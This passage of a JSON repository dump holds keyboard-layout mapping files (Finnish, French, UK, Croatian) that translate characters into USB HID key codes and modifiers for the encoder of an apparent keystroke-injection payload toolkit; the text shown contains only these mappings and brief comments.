    "content": "//LANGUAGE_FINLAND\r\n//translation: ziolity (01/08/2014)\r\nKEY_NON_US_100 = 100\r\nISO_8859_1_A7 = KEY_TILDE\r\nASCII_20 = KEY_SPACE\r\nASCII_30 = KEY_0\r\nASCII_31 = KEY_1\r\nASCII_32 = KEY_2\r\nASCII_33 = KEY_3\r\nASCII_34 = KEY_4\r\nASCII_35 = KEY_5\r\nASCII_36 = KEY_6\r\nASCII_37 = KEY_7\r\nASCII_38 = KEY_8\r\nASCII_39 = KEY_9\r\nASCII_2B = KEY_MINUS\r\nISO_8859_1_B4 = KEY_EQUAL\r\nASCII_71 = KEY_Q\r\nASCII_77 = KEY_W\r\nASCII_65 = KEY_E\r\nASCII_72 = KEY_R\r\nASCII_74 = KEY_T\r\nASCII_79 = KEY_Y\r\nASCII_75 = KEY_U\r\nASCII_69 = KEY_I\r\nASCII_6F = KEY_O\r\nASCII_70 = KEY_P\r\nASCII_61 = KEY_A\r\nISO_8859_1_E4 = KEY_RIGHT_BRACE\r\nASCII_73 = KEY_S\r\nASCII_64 = KEY_D\r\nASCII_66 = KEY_F\r\nASCII_67 = KEY_G\r\nASCII_68 = KEY_H\r\nASCII_6A = KEY_J\r\nASCII_6B = KEY_K\r\nASCII_6C = KEY_L\r\nISO_8859_1_F6 = KEY_SEMICOLON\r\nISO_8859_1_E4 = KEY_QUOTE\r\nASCII_27 = KEY_BACKSLASH\r\nASCII_3C = KEY_NON_US_100\r\nASCII_7A = KEY_Z\r\nASCII_78 = KEY_X\r\nASCII_63 = KEY_C\r\nASCII_76 = KEY_V\r\nASCII_62 = KEY_B\r\nASCII_6E = KEY_N\r\nASCII_6D = KEY_M\r\nASCII_2C = KEY_COMMA\r\nASCII_2E = KEY_PERIOD\r\nASCII_2D = KEY_SLASH\r\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\r\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\r\nASCII_23 = KEY_3, MODIFIERKEY_SHIFT\r\nISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT\r\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\r\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\r\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\r\nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\r\nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\r\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\r\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\r\nASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT\r\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\r\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\r\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\r\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\r\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\r\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\r\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\r\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\r\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\r\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\r\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\r\nASCII_5E = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\r\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\r\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\r\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\r\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\r\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\r\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\r\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\r\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\r\nISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT\r\nISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT\r\nASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT\r\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\r\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\r\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\r\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\r\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\r\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\r\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\r\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\r\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\r\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\r\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\r\nASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT\r\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\r\nASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT\r\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\r\nASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT\r\nASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT\r\nASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT\r\nASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT\r\nASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT\r\nASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\r\nASCII_7C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT\r\nISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/fr.properties",
    "content": "// french layout\nKEY_NON_US_100 = 100\n\n// 32 \nASCII_20 = KEY_SPACE\t\t\t\t\t\n // 33 !\nASCII_21 = KEY_SLASH\t\t\t\t\t\n// 34 \"\nASCII_22 = KEY_3\t\t\t\t\t\n// 35 #\nASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 36 $\nASCII_24 = KEY_RIGHT_BRACE\t\t\t\t\n// 37 %\nASCII_25 = KEY_QUOTE, MODIFIERKEY_SHIFT\t\t\t\n// 38 &\nASCII_26 = KEY_1\t\t\t\t\t\n// 39 '  \nASCII_27 = KEY_4\t\t\t\t\t\n// 40 ( \nASCII_28 = KEY_5\t\t\t\t\t\n// 41 )\nASCII_29 = KEY_MINUS\t\t\t\t\t\n// 42 *\nASCII_2A = KEY_BACKSLASH\t\t\t\t\n// 43 +\nASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT\t\t\t\n// 44 ,\nASCII_2C = KEY_M\t\t\t\t\t\n// 45 -\nASCII_2D = KEY_6\t\t\t\t\t\n// 46 .\nASCII_2E = KEY_COMMA, MODIFIERKEY_SHIFT\t\t\t\n// 47 /\nASCII_2F = KEY_PERIOD, MODIFIERKEY_SHIFT\t\t\t\n// 48 0\nASCII_30 = KEY_0, MODIFIERKEY_SHIFT\t\t\t\t\n// 49 1\nASCII_31 = KEY_1, MODIFIERKEY_SHIFT\t\t\t\t\n// 50 2\nASCII_32 = KEY_2, MODIFIERKEY_SHIFT\t\t\t\t\n// 51 3\nASCII_33 = KEY_3, MODIFIERKEY_SHIFT\t\t\t\t\n// 52 4\nASCII_34 = KEY_4, MODIFIERKEY_SHIFT\t\t\t\t\n// 53 5\nASCII_35 = KEY_5, MODIFIERKEY_SHIFT\t\t\t\t\n// 54 6\nASCII_36 = KEY_6, MODIFIERKEY_SHIFT\t\t\t\t\n// 55 7\nASCII_37 = KEY_7, MODIFIERKEY_SHIFT\t\t\t\t\n// 55 8\nASCII_38 = KEY_8, MODIFIERKEY_SHIFT\t\t\t\t\n// 57 9\nASCII_39 = KEY_9, MODIFIERKEY_SHIFT\t\t\t\t\n// 58 :\nASCII_3A = KEY_PERIOD\t\t\t\t\t\n// 59 ;\nASCII_3B = KEY_COMMA\t\t\t\t\t\n// 60 <\nASCII_3C = KEY_NON_US_100\t\t\t\t\n// 61 =\nASCII_3D = KEY_EQUAL\t\t\t\t\t\n// 62 >\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\t\t\t\n// 63 ?\nASCII_3F = KEY_M, MODIFIERKEY_SHIFT\t\t\t\t\n// 64 @\nASCII_40 = KEY_0, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 65 A\nASCII_41 = KEY_Q, MODIFIERKEY_SHIFT\n// 66 B\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\t\t\t\t\n// 67 C\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\t\t\t\t\n// 68 D\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\t\t\t\t\n// 69 E\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\t\t\t\t\n// 70 F\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\t\t\t\t\n// 71 G\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\t\t\t\t\n// 72 H\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\t\t\t\t\n// 73 I\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\t\t\t\t\n// 74 J\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\t\t\t\t\n// 75 K\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\t\t\t\t\n// 76 L\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\t\t\t\t\n// 77 M\nASCII_4D = KEY_SEMICOLON, MODIFIERKEY_SHIFT\t\t\t\n// 78 N\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\t\t\t\t\n// 79 O\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\t\t\t\t\n// 80 P\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\t\t\t\t\n// 81 Q\nASCII_51 = KEY_A, MODIFIERKEY_SHIFT\t\t\t\t\n// 82 R\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\t\t\t\t\n// 83 S\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\t\t\t\t\n// 84 T\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\t\t\t\t\n// 85 U\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\t\t\t\t\n// 86 V\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\t\t\t\t\n// 87 W\nASCII_57 = KEY_Z, MODIFIERKEY_SHIFT\t\t\t\t\n// 88 X\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\t\t\t\t\n// 89 Y\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\t\t\t\t\n// 90 Z\nASCII_5A = KEY_W, MODIFIERKEY_SHIFT\t\t\t\t\n// 91 [\nASCII_5B = KEY_5, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 92\nASCII_5C = KEY_8, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n // 93 ]\nASCII_5D = KEY_MINUS, MODIFIERKEY_RIGHT_ALT\t\t\t\n// 94 ^\nASCII_5E = KEY_9, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 95 _\nASCII_5F = KEY_8\t\t\t\t\t\n// 96 `\nASCII_60 = KEY_7, MODIFIERKEY_RIGHT_ALT\t\t\t\n// 97 a\nASCII_61 = KEY_Q\n// 98 b\nASCII_62 = KEY_B\t\t\t\t\t\n// 99 c\nASCII_63 = KEY_C\n// 100 d\nASCII_64 = KEY_D\t\t\t\t\t\n// 101 e\nASCII_65 = KEY_E\t\t\t\t\t\n// 102 f\nASCII_66 = KEY_F\t\t\t\t\t\n// 103 g\nASCII_67 = KEY_G\t\t\t\t\t\n// 104 h\nASCII_68 = KEY_H\t\t\t\t\t\n// 105 i\nASCII_69 = KEY_I\t\t\t\t\t\n// 106 j\nASCII_6A = KEY_J\t\t\t\t\t\n// 107 k\nASCII_6B = KEY_K\t\t\t\t\t\n// 108 l\nASCII_6C = KEY_L\t\t\t\t\t\n// 109 m\nASCII_6D = KEY_SEMICOLON\t\t\t\t\n// 110 n\nASCII_6E = KEY_N\t\t\t\t\t\n// 111 o\nASCII_6F = KEY_O\t\t\t\t\t\n// 112 p\nASCII_70 = KEY_P\t\t\t\t\t\n// 113 q\nASCII_71 = KEY_A\t\t\t\t\t\n// 114 r\nASCII_72 = KEY_R\t\t\t\t\t\n// 115 s\nASCII_73 = KEY_S\t\t\t\t\t\n// 116 t\nASCII_74 = KEY_T\t\t\t\t\t\n// 117 u\nASCII_75 = KEY_U\t\t\t\t\t\n// 118 v\nASCII_76 = KEY_V\t\t\t\t\t\n// 119 w\nASCII_77 = KEY_Z\t\t\t\t\t\n// 120 x\nASCII_78 = KEY_X\t\t\t\t\t\n// 121 y\nASCII_79 = KEY_Y\t\t\t\t\t\n// 122 z\nASCII_7A = KEY_W\t\t\t\t\t\n// 123 {\nASCII_7B = KEY_4, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 124 |\nASCII_7C = KEY_6, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 125 }\nASCII_7D = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT\t\t\t\n// 126 ~\nASCII_7E = KEY_2, MODIFIERKEY_RIGHT_ALT\t\t\t\n// 127\nASCII_7F = KEY_BACKSPACE\t\t\t\t\n// 160       Nonbreakng Space\nISO_8859_1_A0\tKEY_SPACE\t\t\t\t\n// 163      Pound Sign\nISO_8859_1_A3\tKEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\t\t\n// 164      Currency or Euro Sign\nISO_8859_1_A4\tKEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\t\t\n// 167      SECTION SIGN\nISO_8859_1_A7\tKEY_SLASH, MODIFIERKEY_SHIFT\t\t\t\n// 176      DEGREE SIGN\nISO_8859_1_B0\tKEY_MINUS, MODIFIERKEY_SHIFT\t\t\t\n// 178      SUPERSCRIPT TWO\nISO_8859_1_B2\tKEY_TILDE\t\t\t\t\n// 181      MICRO SIGN\nISO_8859_1_B5\tKEY_BACKSLASH, MODIFIERKEY_SHIFT\t\t\n// 224      a GRAVE\nISO_8859_1_E0\tKEY_0\t\t\t\t\t\n// 231      c CEDILLA\nISO_8859_1_E7\tKEY_9\t\t\t\t\t\n// 232      e GRAVE\nISO_8859_1_E8\tKEY_7\t\t\t\t\t\n// 233      e ACUTE\nISO_8859_1_E9\tKEY_2\t\t\t\t\t\n// 249      u GRAVE\nISO_8859_1_F9\tKEY_COMMA\t\t\t\t\n//          Euro Sign\nUNICODE_20AC\tKEY_E, MODIFIERKEY_RIGHT_ALT\t\t\t\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/gb.properties",
    "content": "//LAYOUT_UNITED_KINGDOM\n//KEY_NON_US_100 = 100\nKEY_BACKSLASH=64\nKEY_ASH=100\n\nASCII_20 = KEY_SPACE\n// 32  \nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\n// 33 !\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\n// 34 \"\nASCII_5C = KEY_ASH\n// 35 #\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\n// 36 $\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\n// 37 %\nASCII_26 = KEY_7, MODIFIERKEY_SHIFT\n// 38 &\nASCII_27 = KEY_QUOTE\n// 39 '  \nASCII_28 = KEY_9, MODIFIERKEY_SHIFT\n// 40 ( \nASCII_29 = KEY_0, MODIFIERKEY_SHIFT\n// 41 )\nASCII_2A = KEY_8, MODIFIERKEY_SHIFT\n// 42 *\nASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT\n// 43 +\nASCII_2C = KEY_COMMA\n// 44 ,\nASCII_2D = KEY_MINUS\n// 45 -\nASCII_2E = KEY_PERIOD\n// 46 .\nASCII_2F = KEY_SLASH\n// 47 /\nASCII_30 = KEY_0\n// 48 0\nASCII_31 = KEY_1\n// 49 1\nASCII_32 = KEY_2\n// 50 2\nASCII_33 = KEY_3\n// 51 3\nASCII_34 = KEY_4\n// 52 4\nASCII_35 = KEY_5\n// 53 5\nASCII_36 = KEY_6\n// 54 6\nASCII_37 = KEY_7\n// 55 7\nASCII_38 = KEY_8\n// 55 8\nASCII_39 = KEY_9\n// 57 9\nASCII_3A = KEY_SEMICOLON, MODIFIERKEY_SHIFT\n// 58 :\nASCII_3B = KEY_SEMICOLON\n// 59 ;\nASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT\n// 60 <\nASCII_3D = KEY_EQUAL\n// 61 =\nASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT\n// 62 >\nASCII_3F = KEY_SLASH, MODIFIERKEY_SHIFT\n// 63 ?\nASCII_40 = KEY_QUOTE, MODIFIERKEY_SHIFT \n// 64 @\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 65 A\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\n// 66 B\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\n// 67 C\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\n// 68 D\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\n// 69 E\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\n// 70 F\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\n// 71 G\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\n// 72 H\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\n// 73 I\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\n// 74 J\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\n// 75 K\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\n// 76 L\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\n// 77 M\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\n// 78 N\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\n// 79 O\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\n// 80 P\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\n// 81 Q\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\n// 82 R\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\n// 83 S\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\n// 84 T\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\n// 85 U\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\n// 86 V\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\n// 87 W\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\n// 88 X\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\n// 89 Y\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\n// 90 Z\nASCII_5B = KEY_LEFT_BRACE\n// 91 [\nASCII_23 = KEY_BACKSLASH\n// 92 \nASCII_5D = KEY_RIGHT_BRACE\n// 93 ]\nASCII_5E = KEY_6, MODIFIERKEY_SHIFT\n// 94 ^\nASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT\n// 95 _\nASCII_60 = KEY_TILDE\n// 96 `\nASCII_61 = KEY_A\n// 97 a\nASCII_62 = KEY_B\n// 98 b\nASCII_63 = KEY_C\n// 99 c\nASCII_64 = KEY_D\n// 100 d\nASCII_65 = KEY_E\n// 101 e\nASCII_66 = KEY_F\n// 102 f\nASCII_67 = KEY_G\n// 103 g\nASCII_68 = KEY_H\n// 104 h\nASCII_69 = KEY_I\n// 105 i\nASCII_6A = KEY_J\n// 106 j\nASCII_6B = KEY_K\n// 107 k\nASCII_6C = KEY_L\n// 108 l\nASCII_6D = KEY_M\n// 109 m\nASCII_6E = KEY_N\n// 110 n\nASCII_6F = KEY_O\n// 111 o\nASCII_70 = KEY_P\n// 112 p\nASCII_71 = KEY_Q\n// 113 q\nASCII_72 = KEY_R\n// 114 r\nASCII_73 = KEY_S\n// 115 s\nASCII_74 = KEY_T\n// 116 t\nASCII_75 = KEY_U\n// 117 u\nASCII_76 = KEY_V\n// 118 v\nASCII_77 = KEY_W\n// 119 w\nASCII_78 = KEY_X\n// 120 x\nASCII_79 = KEY_Y\n// 121 y\nASCII_7A = KEY_Z\n// 122 z\nASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n// 123 {\nASCII_7E = KEY_BACKSLASH, MODIFIERKEY_SHIFT\n// 124 |\nASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// 125 }\nASCII_7C = KEY_ASH, MODIFIERKEY_SHIFT\n// 126 ~\nASCII_7F = KEY_BACKSPACE\n// 127\n\nISO_8859_1_A0 = KEY_SPACE\n// 160       Nonbreakng Space\nISO_8859_1_A3 = KEY_3, MODIFIERKEY_SHIFT\n// 163 Â£     Pound Sign\nISO_8859_1_A6 = KEY_TILDE, MODIFIERKEY_RIGHT_ALT\n// 166 Â¦     BROKEN BAR\nISO_8859_1_AC = KEY_TILDE, MODIFIERKEY_SHIFT\n// 172 Â¬     NOT SIGN\n//ISO_8859_1_C1 = KEY_A, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 193 Ã     A ACUTE\n//ISO_8859_1_C9 = KEY_E, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 201 Ã‰     E ACUTE\n//ISO_8859_1_CD = KEY_I, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 205 Ã     I ACUTE\n//ISO_8859_1_D3 = KEY_O, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 211 Ã“     O ACUTE\n//ISO_8859_1_DA = KEY_U, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 218 Ãš     U ACUTE\n//ISO_8859_1_E1 = KEY_A, MODIFIERKEY_RIGHT_ALT\n// 225 Ã¡     a ACUTE\nISO_8859_1_E9 = KEY_E, MODIFIERKEY_RIGHT_ALT\n// 233 Ã©     e ACUTE\nISO_8859_1_ED = KEY_I, MODIFIERKEY_RIGHT_ALT\n// 237 Ã­     i ACUTE\nISO_8859_1_F3 = KEY_O, MODIFIERKEY_RIGHT_ALT\n// 243 Ã³     o ACUTE\nISO_8859_1_FA = KEY_U, MODIFIERKEY_RIGHT_ALT\n// 250 Ãº     u ACUTE\nUNICODE_20AC = KEY_4, MODIFIERKEY_RIGHT_ALT\n//     â‚¬     Euro Sign\n\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/hr.properties",
    "content": "//LAYOUT_CROATIAN\n//Translated by ziolity on (03/08/2014)\nKEY_NON_US_100 = 100\n\n// Nonbreakng Space\n// a b c č d e f g h i j k l m n o p r s š t u v z ž x y q w ć đ\nASCII_20 = KEY_SPACE\nASCII_61 = KEY_A\nASCII_62 = KEY_B\nASCII_63 = KEY_C\nUNICODE_10D = KEY_SEMICOLON\nASCII_64 = KEY_D\nASCII_65 = KEY_E\nASCII_66 = KEY_F\nASCII_67 = KEY_G\nASCII_68 = KEY_H\nASCII_69 = KEY_I\nASCII_6A = KEY_J\nASCII_6B = KEY_K\nASCII_6C = KEY_L\nASCII_6D = KEY_M\nASCII_6E = KEY_N\nASCII_6F = KEY_O\nASCII_70 = KEY_P\nASCII_72 = KEY_R\nASCII_73 = KEY_S\nUNICODE_161 = KEY_LEFT_BRACE\nASCII_74 = KEY_T\nASCII_75 = KEY_U\nASCII_76 = KEY_V\nASCII_7A = KEY_Y\nUNICODE_17E = KEY_BACKSLASH\nASCII_78 = KEY_X\nASCII_79 = KEY_Z\nASCII_71 = KEY_Q\nASCII_77 = KEY_W\nUNICODE_107 = KEY_QUOTE\nUNICODE_111 = KEY_RIGHT_BRACE\n// A B C Č D E F G H I J K L M N O P R S Š T U V Z Ž X Y Q W Ć Đ\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\nUNICODE_10C = KEY_SEMICOLON, MODIFIERKEY_SHIFT\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\nUNICODE_160 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\nASCII_5A = KEY_Y, MODIFIERKEY_SHIFT\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\nASCII_59 = KEY_Z, MODIFIERKEY_SHIFT\nUNICODE_17D = KEY_BACKSLASH, MODIFIERKEY_SHIFT\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\nUNICODE_106 = KEY_QUOTE, MODIFIERKEY_SHIFT\nUNICODE_110 = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// Symbols // ! \" # $ % & / ( ) = ? * < > , ; . : - _ [ ] ~ ` \\ | € ÷ × ł Ł ß ¤ { } § @\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\nASCII_23 = KEY_3, MODIFIERKEY_SHIFT\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\nASCII_2A = KEY_EQUAL, MODIFIERKEY_SHIFT\nASCII_27 = KEY_MINUS\nASCII_2B = KEY_EQUAL\nASCII_7E = KEY_1, MODIFIERKEY_RIGHT_ALT\nASCII_60 = KEY_7, MODIFIERKEY_RIGHT_ALT\nASCII_5C = KEY_Q, MODIFIERKEY_RIGHT_ALT\nASCII_7C = KEY_W, MODIFIERKEY_RIGHT_ALT\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_F7 = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_D7 = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\nASCII_5B = KEY_F, MODIFIERKEY_RIGHT_ALT\nASCII_5D = KEY_G, MODIFIERKEY_RIGHT_ALT\nUNICODE_142 = KEY_K, MODIFIERKEY_RIGHT_ALT\nUNICODE_141 = KEY_L, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_DF = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_A4 = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT\nASCII_3C = KEY_NON_US_100\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\nASCII_40 = KEY_V, MODIFIERKEY_RIGHT_ALT\nASCII_7B = KEY_B, MODIFIERKEY_RIGHT_ALT\nASCII_7D = KEY_N, MODIFIERKEY_RIGHT_ALT\nASCII_2E = KEY_PERIOD\nASCII_2D = KEY_SLASH\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\nASCII_2C = KEY_COMMA\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\nISO_8859_1_A7 = KEY_M, MODIFIERKEY_RIGHT_ALT\n// Not needed chars // input: ¸ ¨ ˇ ^ ˘ ° ˛ ˙ ´ ˝ ¨ ¸ output: ¸¨ˇ^˘°˛˙´˝¨¸ (notice no space!)\nISO_8859_1_B8 = KEY_TILDE\nISO_8859_1_A8 = KEY_TILDE, MODIFIERKEY_SHIFT\nUNICODE_2C7 = KEY_2, MODIFIERKEY_RIGHT_ALT\nASCII_5E = KEY_3, MODIFIERKEY_RIGHT_ALT\nUNICODE_2D8 = KEY_4, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_B0 = KEY_5, MODIFIERKEY_RIGHT_ALT\nUNICODE_2DB = KEY_6, MODIFIERKEY_RIGHT_ALT\nUNICODE_2D9 = KEY_8, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_B4 = KEY_9, MODIFIERKEY_RIGHT_ALT\nUNICODE_2DD = KEY_0, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_A8 = KEY_MINUS, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_B8 = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT\n// Numbers: 0 1 2 3 4 5 6 7 8 9\nASCII_30 = KEY_0\nASCII_31 = KEY_1\nASCII_32 = KEY_2\nASCII_33 = KEY_3\nASCII_34 = KEY_4\nASCII_35 = KEY_5\nASCII_36 = KEY_6\nASCII_37 = 